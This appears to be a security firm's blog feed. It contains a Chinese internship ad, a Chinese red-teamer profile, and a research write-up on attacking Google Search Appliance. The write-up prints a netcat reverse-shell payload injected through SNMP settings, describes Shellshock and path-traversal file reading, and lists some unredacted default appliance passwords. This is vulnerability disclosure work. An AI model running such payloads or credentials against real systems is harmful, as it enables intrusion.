    • 知道怎樣寫的程式碼會有問題
      • Buffer Overflow
      • Use After free
      • Race Condition
  • 具備研究熱誠,習慣了解技術本質
  • 加分但非必要條件
    • CTF 比賽經驗
    • pwnable.tw 成績
    • 樂於分享技術
      • 有公開的技術 blog/slide、Write-ups 或是演講
    • 精通 IDA Pro 或 Ghidra
    • 有寫過 1-day 利用程式
    • 具備下列其中之一經驗
      • Kernel Exploit
      • Windows Exploit
      • Browser Exploit
      • Bug Bounty

Web

  • 熟悉 OWASP Web Top 10。
  • 理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。
    • 參考連結:https://portswigger.net/web-security/all-materials
  • 理解計算機網路的基本概念。
  • 熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。
  • 熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。
  • 熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。
  • 具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。
  • 具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。
  • 具備追根究柢的精神。
  • 加分但非必要條件
    • 曾經獨立挖掘過 0-day 漏洞。
    • 曾經獨立分析過已知漏洞並能撰寫 1-day exploit。
    • 曾經於 CTF 比賽中擔任出題者並建置過題目。
    • 擁有 OSCP 證照或同等能力之證照。

應徵流程

本次甄選一共分為三個階段:

第一階段:書面審查

第一階段為書面審查,會需要審查下列兩個項目

  • 書面審查
  • 簡答題及實作題答案
    • 應徵 Binary 實習生需額外在履歷附上下述問題答案
      • 簡答題
        • 請提出三個,你印象最深刻或感到有趣、於西元 2020 ~ 2023 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響。
      • 實作題目
        • 題目檔案
          • 為一個互動式的 Server,可透過網路連線與之互動。
        • 請分析上述所提供的 Server,並利用其中的漏洞在 Windows 11 上跳出 calc.exe。
          • 漏洞可能有很多,不一定每個都可以利用。
        • 請務必寫下解題過程及如何去分析這個 Server,並交 write-up,請盡你所能來解題,即使最後沒有成功,也請寫下您所嘗試過的方法及思路,本測驗將會以 write-up 為主要依據。
    • 應徵 Web 實習生需額外在履歷附上下述問題答案
      • 簡答題
        • 請提出三個,你印象最深刻或感到有趣、於西元 2020 ~ 2023 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響。

本階段收件截止時間為 2023/2/3 10:00,我們會根據您的履歷及題目所回答的內容來決定是否有通過第一階段,我們會在七個工作天內回覆。

第二階段:能力測驗

  • Binary
  • Web
    • 第二階段會根據您的履歷或是任何可證明具備足夠 Web 滲透相關技能的資料來決定是否需要另外做題目,如果未達標準會另外準備靶機測驗,待我們收到解題過程後,將會根據您的狀況決定是否可以進入第三階段。
    • 本階段收件時間為 2023/2/5 23:59,建議提早遞交履歷,可以提前作答。

第三階段:面試

此階段為 1~2 小時的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。

報名方式

  • 請將您的履歷題目答案以 PDF 格式寄到 recruiting_intern@devco.re
    • 履歷格式請參考範例示意(DOCXPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
    • 請於 2023/02/03 10:00前寄出(如果名額已滿則視情況提早結束)
  • 信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)
  • 履歷內容請務必控制在三頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 實習經歷
    • 社群活動經歷
    • 特殊事蹟
    • 過去對於資安的相關研究
    • 對於這份實習的期望
    • MBTI 職業性格測試結果(測試網頁

若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!

從資安麻瓜到紅隊演練專家-Vtim

$
0
0

「提到駭客,你會想到誰?是《駭客任務》的尼歐、 V 怪客、《看臉時代》裡的小路、還是橘子?」紅隊演練專家 Vtim 笑著問道。

目前於 DEVCORE 戴夫寇爾擔任紅隊演練專家的 Vtim,現年 27 歲,曾帶領過多次紅隊演練專案,擁有數十場紅隊演練經驗,也有豐富的資安競賽及國際企業漏洞獎勵計畫經驗,亦通過 OSCP、OSWE 認證,具備專業的 Web 檢測與內網滲透能力。「我其他身份是漏洞賞金獵人跟業餘 CTF 玩家!」Vtim說。

CTF 意外得名 從此走上資安路

大學前兩年,Vtim 的課後活躍度遠高於課堂活躍度。

「好像很多人覺得駭客就是敲敲鍵盤就能入侵了?但其實當駭客要學的東西實在太多了!」Vtim 邊說邊展示了一張密密麻麻的資安證照圖,最上面的小字則寫著「356 種證照」。大學時期就讀於國立成功大學資訊工程學系的 Vtim,坦言自己大學前兩年基本上都在翹課耍廢、忙著跑活動跟打電動,直到大三才開始好好努力、天天向上,閒著沒事就刷演算法題,大四暑假某天,室友隨口問他要不要一起參加「AIS3 新型態資安暑期課程」,沒有多想的他隨口答應後,才得知報名前要先考「CTF (Capture the Flag) pre-exam」。在此之前連「XSS」、「SQL Injection」都一問三不知的他,竟意外地拿下了第四名,自此開啟了他對資安的興趣。

大四下學期,Vtim 卯起來找線上資安課程自學,學習各種入侵系統的原理以及攻擊手法,與此同時,室友則沉迷於 LOL 英雄聯盟,為了消除惱人的背景噪音,Vtim 試著以駭客的方式斷了室友網路。「結果他們就更吵了……一直在哀嚎!」他笑道。除此之外,他也開始試著自己打各種 CTF 線上比賽。特別的是,他沒有像其他人一樣組隊參賽累積更多分數,而是一個人摸索、學習別人的解題思路。

Vtim 大四下學會斷室友網路時使用的無線網卡。

漏洞獎勵、漏洞比賽、實戰證照一把罩

大學畢業後,Vtim 進入國立臺灣科技大學資訊管理系研究所資訊安全實驗室,由吳宗成教授指導。碩士時期,Vtim 順利通過徵選,連續成為教育部「資安人才培育計畫-資安實務導師制度-臺灣好厲駭」兩屆培訓學員,導師則分別是 DEVCORE 的執行長暨共同創辦人 Allen 及首席資安研究員 Orange(同時也是 Vtim 及許多人眼中的「傳奇滲透師」),也在此時認識了許多駭客大神。除此之外,他也開始嘗試破解靶機類型的題目,拓展原本僅限於 CTF 的解題題型。

同一時間,Vtim 也進入了資安公司實習,主要負責滲透測試的執行。也是在實習後,他才明顯感受到企業真實環境與線上比賽的差異,例如企業不像靶機一定有洞、指定滲透的系統不見得熟悉。除此之外,如何將測試時的發現轉換為企業可理解的報告,也是平時自學時少有機會學習的技能。

為了證明自己所學的價值,Vtim 開始參與漏洞獎勵計畫,並成功發現 LINE 的漏洞,取得人生中首次漏洞獎勵的成就,獲得了 1,000 美金的獎勵。與朋友組隊參加漏洞挖掘競賽,也順利奪冠。首次嘗試挑戰 OSCP (Offensive Security Certified Professional)實戰型證照,即順利通過。Vtim 補充,考生須在 24 小時打下 5 台機器,再花 24 小時寫一份滲透測試報告,是非常考驗體力跟能力的一張證照。

Vtim 首次嘗試挑戰 OSCP 實戰型證照,即順利通過。

同事強到不禁懷疑人生 第一線學高手思路不斷成長

因為「所有技能點都點在攻擊」,Vtim 在研究所畢業後,尋找的也是攻擊測試相關工作。評估過後,履歷只投了 DEVCORE。「當時打 CTF 時很崇拜 Orange 跟 Angelboy,發現他們都在 DEVCORE,就覺得這間公司應該是台灣駭客技術最頂尖的,也希望能加入增強自己的實力!」他回憶。

過五關斬六將後,Vtim 以紅隊演練專家的身份加入 DEVCORE。「一開始其實蠻挫折的,因為自己太缺乏後滲透需要的知識,經驗也不足。」Vtim 說,自己原本所學僅是單純打下主機,但實際打下主機後怎麼繞過防毒軟體、EDR、橫向移動、內網滲透,都是本來在打靶機題目較少學到的手法。此外,技術強大的同事群,也讓他不禁懷疑起自己的能力。

但 Vtim 並未因挫折感而放棄,相反地,憑著對技術的熱情,不斷學習高手們的思路,他也不斷成長,讓自己越來越強大。「遇到困難時,我會想像這些人會怎麼做,藉此調整自己的心態和思路,在面對問題時不至於沒有方向或驚慌失措。」他由衷地說。DEVCORE 的前輩們也相當樂於分享,讓他逐漸找出解決問題的方法,也在眾多高手的刺激下,不斷精進自己。

Vtim(後排左二)與同事於 DEVCORE 充電週密室逃脫,訓練解題能力。

紅隊演練成本高 駭客專攻網路邊界

「紅隊演練」對很多人而言還是相當陌生,Vtim 解釋,紅隊演練其實是漏洞檢測服務的一種,漏洞檢測服務可分為弱點掃描、滲透測試、紅隊演練,其中紅隊演練是測試範圍最全面、最貼近現實駭客攻擊手法,且能發現營運層面缺失並檢視整體資安防禦機制,因此紅隊演練所需的人力門檻更高、使用資源更多,成本也是三者最高的。

若要以一句話解釋紅隊演練,即是企業委任專業紅隊團隊,設法透過各種方式、甚至組合式的攻擊手法,模擬入侵企業,在時限內達成企業指定任務,如取得某台電腦的控制權或核心內網的機密資料等。他強調,許多企業將資安防禦重點放在核心網站及系統,對於駭客而言,若攻擊這類防守嚴密的區塊成本過高,則會將攻擊目標轉移到企業較網路邊界中防護較弱的系統。

至於如何從找出網路邊界的系統進而入侵成功?他舉例,紅隊工作主要可以分成兩個階段,分別是取得外網進入點以及內網滲透,以第一階段的取得外網進入點而言,攻擊者會嘗試各種攻擊手法入侵企業內網,例如突破防守較薄弱的網路邊界主機,或從 GitHub 等線上軟體原始碼代管服務平台尋找企業洩漏的程式碼或機敏資訊以利用。此外,亦可能嘗試進行社交工程,寄送植入後門程式的釣魚信件,甚至實體前往目標公司附近進行 WiFi 封包的側錄及破解,待成功進入企業內網後,即開始第二階段的內網滲透,一步步從網路邊界進行橫向移動,最終入侵到核心網段,取得核心系統控制權或取得機密資料,達成任務目標。

與新知及時限賽跑 熱情及解題能力很重要

對於這個職位的挑戰,Vtim 認真思考了一下,表示身為紅隊須不斷與新的技術賽跑,新的知識與架構日新月異,只能不斷持續學習與突破。此外,每次專案也都在嘗試突破自己的極限,常常遇到時限迫在眉睫但始終找不到進入點,最後才又「絕處逢生」,也需要承受一定程度的心理壓力。

他認為,紅隊專家除了懂攻擊,還要懂得如何提供客戶專業的資安防禦建議,需要有綜觀全局的能力。「對客戶而言,攻擊不完全是重點,他們更想知道找到問題後如何緩解風險。」Vtim 表示。

下班後的 Vtim 還與同事組成樂團,擔任 Bass 手的角色。

對於未來,Vtim 期待自己成為全能型的白帽駭客。「進攻過程會遇到很多不同的環境,不同攻擊階段也需要不同領域的技巧,我希望自己能掌握全部面向,獨力排解所有難題,達到『指哪打哪、攻擊自如』的境界。」他滿懷期待地說。

[REL] A Journey Into Hacking Google Search Appliance

$
0
0

English Version, 中文版本

TL;DR

  • GSA Admin console post-authentication Remote Code Execution.
  • GSA Search interface Path traversal.
  • GSA uses Oracle’s Outside-in Technology to convert documents.
  • Google Web services have some fixed URIs that provide information about the service itself.

Introduction

The Google Search Appliance (hereinafter referred to as GSA) is an enterprise search device launched by Google in 2002, used for indexing and retrieving internal or public network information. Around 2005, Google introduced the Google Mini for personal and small business use. Later, at the end of 2008, a virtual machine version was launched, called the Virtual Google Search Appliance (hereinafter referred to as VGSA). However, at the end of 2018, Google ended the life cycle of the GSA product and integrated it into the Cloud Search product line.

Appliance and Software Acquisition

We managed to purchase a device by searching “Google Search Appliance” on eBay.

Luckily, the first one we bought was a GSA with unerased data:

Even now, you can still find devices that are currently being sold.

On the other hand, The original public link of vGSA has been removed. http://dl.google.com/vgsa/vgsa_20090210.7z [removed] http://dl.google.com/vgsa/vgsa_20081028.7z [removed]

We found the file on BitTorrent magnet link:

magnet:?xt=urn:btih:89388ACE8C3B91FDD3A2F86D8CBB78C58A70D992

Next, found the link to the old version software from Google Groups: https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ

The link was:

http://dl.google.com/dl/enterprise/install_bundle-10000622-7.2.0-112.bin [removed]

And we can obtain all version number from: http://web.archive.org/web/20210116194907/https://support.google.com/gsa/answer/7020590?hl=en&ref_topic=2709671

Guessing the File Naming Rules as install_bundle-10000(3-digit numbers)-7.(numbers).(numbers)-(numbers).bin

And write a shell script to attempt downloading software:

for((j=622;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.2.0-$i.bin;done;done
for((j=661;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.4.0-$i.bin;done;done
for((j=693;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.6.0-$i.bin;done;done

Including the information found through internet search, successfully retrieved the following file:

all_langs-lang-pack-2.1-1.bin
all_langs-lang-pack-2.2-1.bin
centos_patch_files-6.0.0-22.bin
centos_patch_files-6.14.0-28.bin
centos_patch_files-7.0.14-238.bin
centos_patch_files-7.2.0-252.bin
centos_patch_files-7.2.0-264.bin
centos_patch_files-7.2.0-270.bin
centos_patch_files-7.2.0-280.bin
centos_patch_files-7.2.0-286.bin
install_bundle-10000653-7.2.0-252.bin
install_bundle-10000658-7.2.0-264.bin
install_bundle-10000661-7.2.0-270.bin
install_bundle-10000681-7.4.0-64.bin
install_bundle-10000685-7.4.0-72.bin
install_bundle-10000686-7.4.0-74.bin
install_bundle-10000692-7.4.0-82.bin
install_bundle-10000762-7.6.0-36.bin
install_bundle-10000767-7.6.0-42.bin
install_bundle-10000772-7.6.0-46.bin
install_bundle-10000781-7.6.0-58.bin
install_bundle-10000810-7.6.50-30.bin
install_bundle-10000822-7.6.50-36.bin
install_bundle-10000855-7.6.50-64.bin
install_bundle-10000878-7.6.250-12.bin
install_bundle-10000888-7.6.250-20.bin
install_bundle-10000901-7.6.250-26.bin
install_bundle-10000915-7.6.360-10.bin
install_bundle-10000926-7.6.360-16.bin
install_bundle-10000967-7.6.512-18.bin
sw_files-5.0.4-22.bin
sw_files-6.14.0-28.bin
sw_files-7.0.14-238.bin
vm_patch_1_for_504_G22_and_G24_only.bin

vGSA (Virtual Google Search Appliance)

Next, we began research on vGSA. By default, after importing the virtual machine, this system only provides a function for network configuration and doesn’t provide a system shell for operation or use. However, because the virtual machine operates within ours own environment, it is usually possible to obtain system permissions through the following methods:

  • Directly altering unencrypted disk files
  • Modifying the virtual machine memory
  • Booting using CDs or disks from another operating system
  • Exploiting known vulnerabilities
  • Utilizing hard-coded administrator or system account passwords

The following image shows the network configuration screen:

CVE-2014-6271

When testing early Linux appliances and servers, especially those using the RedHat series operating system, there are often Shellshock vulnerabilities, and the 2008 released vGSA is no exception. Inserting option 114 in the DHCP server will be set in the environment variable, thereby triggering the vulnerability and executing any command.

The command attempted to be inserted is: useradd zzzzgsa. This command can be observed to be executed repeatedly, as error messages continue to appear in the console output.

vGSA operation system observation

After successfully obtaining operating system privileges, we can observe the network environment, the running applications, and the file system. Here are some insights gained from observing the operating system environment:

  • Version number is 5.2.0.G.27.
  • Services are mainly written in C/C++, Java, Python.
  • /export/hda3 seems to be the directory primarily used by the service.
  • /etc/shadow contains the root account with password hash x███████████M.
  • Administration interface listening on port 8000, 8443 with default admin password, j0njlRXpU5CQ.
  • /.gnupg contains ent_box_key public and private keys.
  • /.gnupg contains google_license_key public key.
  • /.ssh/authorized_keys contains two sets of public keys.
  • /root/.ssh/authorized_keys contains one set of public keys.
  • /root/.ssh/ contains two sets of SSH public and private keys.
  • /root/.gnupg/ contains ent_box_key public and private keys.
  • Oracle’s Outside In Technology is used to convert documents into HTML web pages.
  • The Java runtime environment uses a Security Manager for protection.
  • The request for engineer support function uses ppp to build a virtual private network, /etc/ppp/chap-secrets contains account passwords ( z██████c、]███████T ).
  • The boot menu password in /etc/lilo.conf is cmBalx7.
  • /export/hda3/versionmanager/google_key.symmetric has a string that seems to be used for symmetric encryption.
  • /export/hda3/versionmanager/vmanager_passwd contains two sets of username-password combinations ( admin: M█████████████████████████w=:9██= google:w█████████████████████████o=:N██= ).

Executable programs with network services are as follows:

Listen PortProcess NameProgram LanguageFunction
22sshC/C++OpenSSH Server
53namedC/C++Bind Named
953namedC/C++Bind Named
1111webserver_configpythonInstaller
2100adminrunner.pypythonadmin console backend
3990monitorC/C++monitor
4000rtserverC/C++unknown
4430EnterpriseFrontendJava (with security manager)admin console frontend
4911borgmonC/C++borgmon
4916reactorC/C++unknown
5000rtserverC/C++unknown
5600rtserverC/C++unknown
6600cacheserverC/C++unknown
7800EnterpriseFrontendJava (with security manager)admin console frontend (http)
7880TableServerJava (with security manager)unknown
7882AuthzCheckerJava (without security manager)unknown
7886tomcatJavatomcat server
8000EnterpriseAdminConsoleJava (without security manager)unknown
8443stunnelC/C++redirect http to https
8888GWSC/C++unknown
9300oneboxserverC/C++unknown
9328entspellmixerC/C++unknown
9400mixserverC/C++unknown
9402mixserverC/C++unknown
9448qrewriteC/C++unknown
9450EnterpriseAdminConsoleJava (without security manager )unknown
10094enterprise_oneboxC/C++unknown
10200clustering_serverC/C++unknown
11913sessionmanagerC/C++unknown
12345RegistryServerJava (without security manager)unknown
19780configmgr/ent_configmgr.pypythonunknown
19900feedergateC/C++extract, transform and feed records
21200FileSystemGatewayJava (with security manager)unknown
31300rtserverC/C++unknown

Despite the presence of so many services, most connections are blocked by iptables. The following are the iptables settings:

# Redirect privileged ports.# (we listen as nobody, which can't attach to low ports, so redirect to high ports)#-A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 7800
-A PREROUTING -i eth0 -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 4430
-A PREROUTING -i eth0 -p tcp -m tcp --dport 444 -j REDIRECT --to-ports 4431
-A INPUT -i eth0 -p udp -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7800 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7801 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4430 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4431 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 19900 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8000 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8443 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9941 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9942 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 10999 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 68 --dport 67 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 53 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 137:138 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 123 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 514 -j ACCEPT
-A INPUT -i eth0 -p udp -m udp --dport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 162 -j ACCEPT

The following summarizes the actual accessible TCP attack surface:

PortServiceProgram Location
22ssh/usr/sbin/sshd
7800EnterpriseFrontend/export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar
4430EnterpriseFrontend/export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar
19900feedergate/export/hda3/5.2.0/local/google/bin/feedergate
8000EnterpriseAdminConsole/export/hda3/5.2.0/local/google/bin/EnterpriseAdminConsole.jar
8443stunnel/usr/sbin/stunnel

And we found that the strings in file /export/hda3/versionmanager/google_key.symmetric can be used to decrypt the content of all install bundles! After gaining privileges using CVE-2014-6271 and decrypting the contents of the install bundle, our research on vGSA has temporarily concluded.

But its lacks of memory protection might have some vulnerabilities that can be easily exploited.

GSA

Upon booting the installed appliance and attempting to change the boot sequence, we found that a password is required to enter the BIOS. Moreover, only some functions are accessible in the management interface of the Dell H700 RAID card:

Next, attempt to directly read the contents of the hard drive. If the hard drive content is not encrypted, there is a chance that the device’s operating system and software can be obtained directly. We found that its hard drive uses SAS interface for transmission. Before attempting, it is necessary to purchase a SAS HBA card. The LSI 9211-8i is used for connection in this test:

After connecting and attempting to read, it was discovered that this is a Self-Encrypting Drive (SED). It requires a password to unlock for access. OSSLab has a more detailed explanation here:

https://www.osslab.com.tw/ata-sed-security/ (chinese article)

There are several ways to continue trying when the hard drive cannot be directly accessed:

  • Try to read the password in the BIOS EEPROM and change the boot order.

This method requires damage to the motherboard and carries some risk. This method is only used when no vulnerabilities can be found at the software level. More information: https://blog.cybercx.co.nz/bypassing-bios-password

  • Use PCILeech to read, write memory to gain system privileges.

This method requires specific PCI-e devices, which were not prepared at the time. You can refer to this GitHub project:

https://github.com/ufrisk/pcileech

  • Look for software vulnerabilities that can access the service

This method is simpler and more feasible.

LF injection in Admin Console

After logging into the admin console, we observed a feature for obtaining system information through SNMP. Additionally, this feature allows the insertion of custom strings.:

We tried classic LF injection here:

Inject sysContact with a LF and following command:

extend shell /bin/nc -e /bin/sh 10.5.2.1 4444

After inserting the configuration value “extend”, we can use the command “snmpwalk” to trigger the SNMP’s extend functionality and execute a shell.

Command executed successfully, and connected back with a shell.

Arbitrary File Reading

From GSA 6.x series versions, we found that the 80/443 web services use Apache httpd in the RPM installation package. There are several http configurations located in /etc/httpd/conf.d/. In the files gsa-http.conf and gsaa-https.conf, certain directories are redirected to specific local services.

  RewriteEngine on
  RewriteRule ^/security-manager/(.*) http://localhost:7886/security-manager/$1 [P,L]
  RewriteRule ^/d██████████/(.*) http://localhost:7890/dps/d██████████/$1 [P,L]
  RewriteRule ^/s██████/(.*) http://localhost:7890/dps/s██████/$1 [P,L]
  RewriteRule ^/v█████/(.*) http://localhost:7890/v█████/$1 [P,L]
  RewriteRule ^/$ http://localhost:7800/ [P,L]
  RewriteRule ^/(.*) http://localhost:7800/$1 [P,L]

The communication ports 7886 and 7890 are services run by separate Apache Tomcat servers. When proxying two or more web servers, the path determination of Tomcat, ..;/, is an interesting test point. You can refer to the article written by our employee for more details:

https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

The point we’re interested in is dps, which doesn’t seem to be present in the old version of GSA. Extracting /WEB-INF/web.xml from dps.war allows us to inspect the web application configuration, and we’ve found that the endpoint of /font will handled by com.documill.dps.connector.servlet.user.DPSDownloadServlet

<servlet><servlet-name>font</servlet-name><servlet-class>com.documill.dps.connector.servlet.user.DPSDownloadServlet</servlet-class><init-param><param-name>rootDirectory</param-name><param-value>work/fonts/</param-value></init-param></servlet><servlet-mapping><servlet-name>font</servlet-name><url-pattern>/font/*</url-pattern></servlet-mapping>

And looking into DPSDownloadServlet

importcom.davisor.net.servlet.DownloadServlet;importcom.documill.dps.*;importjava.io.*;importjavax.servlet.ServletContext;publicclassDPSDownloadServletextendsDownloadServletimplementsDPSUserService{publicDPSDownloadServlet(){}protectedStringgetRealPath(ServletContextservletcontext,Strings)throwsIOException{DPSdps=DPSSingleton.getDPS();Filefile=dps.getHomeDir();if(file==null)thrownewFileNotFoundException("DPSDownloadServlet:getRealPath:DPS home directory not specified");elsereturn(newFile(file,s)).getAbsolutePath();}privatestaticfinallongserialVersionUID=0L;}

Step into com.davisor.net.servlet.DownloadServlet which extends DPSDownloadServlet

protectedvoidservice(HttpServletRequesthttpservletrequest,HttpServletResponsehttpservletresponse)throwsServletException,IOException{Strings=httpservletrequest.getParameter(uriParameterName);if(!isValid(s)){httpservletresponse.sendError(400,(newStringBuilder()).append("Invalid file path: ").append(s).toString());return;}Filefile=rootDirectory.deriveFile(s);if(!file.isFile())httpservletresponse.sendError(404,(newStringBuilder()).append("No file:").append(s).toString());elseif(!file.canRead()){httpservletresponse.sendError(403,(newStringBuilder()).append("Unreadable file:").append(s).toString());}else{longl=file.length();if(l>0x7fffffffL){httpservletresponse.sendError(413,(newStringBuilder()).append("File too big:").append(l).toString());}else{Strings1=MIME.getTypeFromPath(file.getName(),"application/octet-stream");httpservletresponse.setContentLength((int)l);httpservletresponse.setContentType(s1);httpservletresponse.setDateHeader("Last-Modified",file.lastModified());if(cacheExpires>0L){httpservletresponse.setDateHeader("Expires",System.currentTimeMillis()+cacheExpires);httpservletresponse.setHeader("Cache-Control","public");}IO.copy(file,httpservletresponse.getOutputStream());}}}privatestaticbooleanisValid(Strings){return!Strings.isEmpty(s)&&!s.contains("..");}

You can see here that the only check is whether the string contains ... However, we can directly specify the absolute path and read any local file directly!

The old version of GSA does not have the /font endpoint, but /dps/admin/admin has a similar file reading issue. You can directly specify the logName for file reading. Refer to the diagram below for directly reading the account password from the system management interface:

After successfully cracking the hash, you can log in, enable the SNMP service, and combine it with the first vulnerability to execute arbitrary commands with root privileges.

Other findings and misc

Internal URIs in web services

In GSA, there are multiple sub-services that communicate with each other using the HTTP protocol. Many of these services offer URLs such as /varz, /helpz, and /procz. We can access them either in the trusted network location defined for the service or using 127.0.0.1:

In vGSA, we observed that there is a service execution parameter called “useripheader=X-User-Ip”, this parameter allows direct access to a certain functionality of the externally exposed admin console when included in the request header as “X-User-Ip”.

The /procz endpoint can even fetch executables and the shared libraries they are using:

Appliances list

Model nameMakerSpecsversionDocument amount
Google MiniGigabytePentium III 1G / 2GB memory / 120G3.4.14300,000
Google Mini-002XSuperMicroPentium 4 3G / 2GB memory / 250G HDD5.0.0unknown
Google GB-1001Dell Poweredge 2950Xeon / 16GB memory / 1.25TB HDDunknown3,000,000
Google GB-1002Gigabyteunknownunknownunknown
Google GB-7007Dell R710Xeon E5520 / 48GB memory / 3TB HDDunknown10,000,000
Google GB-9009Dell unknownXeon X5560 / 96GB memory / 3.6TB HDDunknown30,000,000
Google G100Dell R720XDunknownunknownunknown

Linux Kernel Version

GSA versionLinux Kernel Version
7.6.0Linux version 3.14.44_gsa-x64_1.5 (mrevutskyi@mrevutskyi.mtv.corp.google.com) (gcc version 4.9.x-google 20150123 (prerelease) (Google_crosstoolv18-gcc-4.9.x-x86_64-grtev4-linux-gnu) ) #1 SMP Mon Nov 23 09:19:11 PST 2015
7.4.0 
7.2.0Linux version 3.4.3_gsa-x64_1.5 (martincochran@ypc-ubiq202.dls.corp.google.com) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Tue Jul 9 15:36:01 PDT 2013
7.0.14Linux version 3.4.3_gsa-x64_1.3 (stephenamar@neutrino.mtv.corp.google.com) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Thu Jul 19 11:59:57 PDT 2012
5.2.0Linux version 2.6.20_vmw-smp_3.1 (yifeng@yifeng.corp.google.com) (gcc version 4.1.1) #1 SMP Thu Jan 24 22:34:28 PST 2008

Timeline

時間事件
2005/06/10Java Code Injection CVE-2005-3757 reported by H D Moore
early 2008GSA 5.0 released
2008/10/28vgsa_20081028.7z (5.2.0) released
2013/04/20GSA 6.14.0.G28 released
2014/03/20Cross-site Scripting CVE-2014-0362 reported by Will Dormann
2014/10/01GSA 7.0.14.G238 released
2014/10/03GSA 7.2.0.G252 released
2014/12/12GSA 7.2.0.G264 released
2015/02/07GSA 7.2.0.G270 released
2015/04/15GSA 7.4.0.G64 released
2015/04/22GSA 7.4.0.G72 released
2015/04/30GSA 7.4.0.G74 released
2015/06/04GSA 7.4.0.G82 released
early 2016Google announced that GSA will be sunset from the market.
2016/01/05XML External Entitiy injection reported by Timo
2016/05/24GSA 7.6.0.G36 released
2016/07/01GSA 7.6.0.G42 released
2016/07/31The author of this article obtained this device, with the version being 7.0.14
2016/08/25GSA 7.6.0.G46 released
2016/10/21GSA 7.6.0.G58 released
2017/01/19GSA 7.6.50.G30 released
2017/04/19GSA 7.6.50.G36 released
2017/07/28GSA 7.6.50.G64 released
2017/11/09GSA 7.6.250.G12 released
2017/12/28The final date to order GSA.
2018/01/17GSA 7.6.250.G20 released
2018/03/21GSA 7.6.250.G26 released
2018/06/15GSA 7.6.360.G10 released
2018/10/08GSA 7.6.360.G16 released
2019/04/26GSA 7.6.512.G18 released. It should be the last publicly released version.
2021/08/16issues reported.
2021/08/16replied from a bot, and triaged.
2021/08/16issuetracker.google.com assigned a issue.
2021/08/18Google said issue is not severe enough to qualify for a reward, but VRP panel will take a closer look.
2021/08/20VRP panel has decided that the security impact of this issue does not meet the bar for a financial reward.
2021/11/01Asking if a vulnerability will be assigned a CVE identifier.
2021/11/02Confirming that a CVE identifier will not be assigned.
early 2023Started writing this article
2023/06/04First draft completed.

Conclusion

Although the GSA/vGSA is a product that has reached the end of its lifecycle, studying how Google increases product security and reduces attack vectors for devices can broaden our knowledge, which we might not usually come into contact with. Although it is not detailed in this article, the Java Security Manager and the Linux Kernel’s seccomp are both technologies used in the GSA, and this research has also left some goals for further study:

  • The feedergate service listening on port 19900.
  • Memory vulnerabilities in Oracle’s Outside-in Technology for converting file formats.
  • The convert_to_html seccomp sandbox

We will share when there are some research results, See you next time.

[REL] 深入破解 Google Search Appliance

$
0
0

English Version, 中文版本

懶人包

  • GSA 管理界面認證後任意指令執行
  • GSA 搜尋介面任意讀檔
  • GSA 使用 Oracle 的 Outside-in Technology 轉換文件格式
  • Google 網頁服務有一些固定的URI,會提供此服務的自身資訊

前言

Google Search Appliance (以下簡稱 GSA ) 是 Google 於2002 年開始為企業推出的搜尋設備,主要功能為放置於企業內網用於索引內部網路資訊並提供檢索。於 2005 年左右推出給個人及小型企業使用的 Google Mini,於 2008 年底左右有發布虛擬機器版本,名稱為 Virtual Google Search Appliance (以下簡稱 vGSA),後來於 2018年底結束產品生命週期,產品線整合進入 Cloud Search。

設備、軟體取得

